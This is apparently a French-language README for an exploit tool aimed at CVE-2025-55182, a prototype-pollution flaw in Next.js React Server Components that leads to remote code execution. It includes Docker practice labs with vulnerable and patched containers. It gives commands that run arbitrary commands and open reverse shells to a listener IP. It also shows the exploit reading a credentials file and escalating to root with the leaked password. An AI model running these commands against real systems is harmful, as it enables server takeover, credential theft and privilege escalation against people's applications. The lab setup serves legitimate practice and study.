
Exploit pour CVE-2025-55182 ciblant les composants serveur React de Next.js via une pollution de prototype, permettant l'exécution de code à distance avec des charges utiles de commande et de shell inversé. Inclut des environnements de laboratoire Docker pour s'entraîner.
Exploite CVE-2025-55182 pour exécution de code à distance via pollution de prototype.
Auteur : Severian N.K.
Cet outil exploite une vulnérabilité de pollution de prototype dans les applications Next.js utilisant les composants serveur React, menant à une exécution de code à distance (RCE). Il prend en charge à la fois l'exécution directe de commandes et les shells inversés.
Ce projet utilise un environnement virtuel Python pour gérer les dépendances. Tout d'abord, assurez-vous d'avoir Python 3 installé.
Configurer l'environnement virtuel :
python3 -m venv venv
Activer l'environnement et installer les dépendances :
source venv/bin/activate
pip install -r requirements.txt
Assurez-vous que l'environnement virtuel est activé (source venv/bin/activate) avant d'exécuter l'exploit.
Pour exécuter une commande unique sur la cible :
python3 exploit.py -u <TARGET_URL> -c "<COMMAND>"
Exemple :
python3 exploit.py -u http://example.com -c "id"
Pour obtenir un shell inversé depuis la cible :
python3 exploit.py -u <TARGET_URL> -r -l <LISTENER_IP> -p <LISTENER_PORT>
Exemple :
python3 exploit.py -u http://example.com -r -l 10.10.10.2 -p 9001 -P nc-mkfifo
Le répertoire lab/ contient deux environnements Docker indépendants :
lab/vulnerable) : fonctionne sur le port 3000.lab/patched) : fonctionne sur le port 3001.cd lab/vulnerable
chmod +x build.sh run.sh
./build.sh
./run.sh
Accès : http://localhost:3000
cd lab/patched
chmod +x build.sh run.sh
./build.sh
./run.sh
Accès : http://localhost:3001
Vous devez spécifier votre IP d'écoute (--lhost) et votre port (--lport). Vous pouvez trouver l'IP de votre pont Docker avec ip addr show docker0 (généralement 172.17.0.1).
python exploit.py -u http://localhost:3000 -r -l 172.17.0.1 -p 6000 -P nc-mkfifo
Remarque : Nous utilisons
-P nc-mkfifocar la cible exécute Alpine Linux, ce qui nécessite un type de payload spécifique.
Le conteneur vulnérable expose un fichier secret.
python3 exploit.py -u http://localhost:3000 -c "cat /secret/credentials.txt"
# Output: manager:SuperSecret2025!
Vous pouvez passer de nextjs à root en utilisant les identifiants compromis.
su - manager (Mot de passe : SuperSecret2025!)sudo su (Mot de passe : SuperSecret2025!)cat /root/flag.txt
# Output: Congratulations! You have gained full control over the system!
Les contributions sont les bienvenues ! Si vous trouvez un bug ou avez une idée d'amélioration, veuillez ouvrir une issue ou soumettre une pull request.